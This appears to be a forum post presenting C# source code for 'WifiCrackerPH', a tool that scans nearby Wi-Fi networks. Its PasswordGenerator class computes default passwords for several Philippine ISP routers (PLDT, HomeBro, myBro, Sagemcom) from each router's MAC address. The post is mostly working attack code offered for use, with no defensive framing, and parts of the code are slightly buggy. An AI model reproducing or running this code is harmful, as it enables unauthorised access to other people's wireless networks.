pinoyprogammer
Techie
Features
Requirements
- Automatically Scans wifi nearby.
- Generate password with many options to choose from
Requirements
- .NET Framework 4.5
Code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Windows.Forms;
namespace WifiCrackerPH
{
class PasswordGenerator
{
public static String gpHomebro(String mac)
{
try
{
String pass = "HomeBro_";
for (int i = 6; i < 12; i++)
{
pass += mac[i];
}
return pass;
}
catch (Exception ex)
{
MessageBox.Show("There is something wrong with your Mac Address!" + ex.ToString());
}
return "";
}
public static String gpPldtHomeFibr(String mac)
{
try
{
String[,] tblHex = new String[14, 2] { { "0", "f" }, { "1", "e" }, { "2", "d" }, { "3", "c" }, { "4", "b" }, { "5", "a" }, { "6", "9" }
, { "7", "8" }, { "8", "7" }, { "9", "6" }, { "c", "3" }, { "d", "2" }, { "e", "1" }, { "f", "0" }};
String pass = "wlan";
String conLastmac = "";
for (int i = 6; i < 12; i++)
{
for (int r = 0; r < 12; r++)
{
if (mac[i].ToString().Equals(tblHex[r, 0].ToString()))
{
conLastmac += tblHex[r, 1];
}
}
}
return pass + conLastmac;
}
catch (Exception ex)
{
MessageBox.Show("There is something wrong with your Mac Address!" + ex.ToString());
}
return "";
}
public static String gpOldPldt(String mac)
{
try
{
String pass = "PLDTWIFI";
for (int i = 7; i < 12; i++)
{
pass += mac[i];
}
return pass;
}
catch (Exception ex)
{
MessageBox.Show("There is something wrong with your Mac Address!" + ex.ToString());
}
return "";
}
public static String gpMyBro(String mac)
{
try
{
String pass = "myBROWIFI";
String last6mac = "";
for (int i = 6; i < 12; i++)
{
last6mac += mac[i];
}
long num1 = Convert.ToInt64(last6mac, 16);
long num2 = Convert.ToInt64("2", 16);
long result = num1 - num2;
return String.Concat(pass, Convert.ToString(result, 16));
}
catch (Exception ex)
{
MessageBox.Show("There is something wrong with your Mac Address!", ex.ToString());
}
return "";
}
public static String gpSageCom(String mac)
{
try
{
String pass = "PLDTWIFI";
for (int i = 7; i < 10; i++)
{
pass += mac[i];
}
long num1 = Convert.ToInt64(String.Concat(mac[10], mac[11]), 16);
long num2 = Convert.ToInt64("2", 16);
long result = num1 + num2;
return String.Concat(pass, Convert.ToString(result, 16));
}
catch (Exception ex)
{
MessageBox.Show("There is something wrong with your Mac Address!", ex.ToString());
}
return "";
}
}
}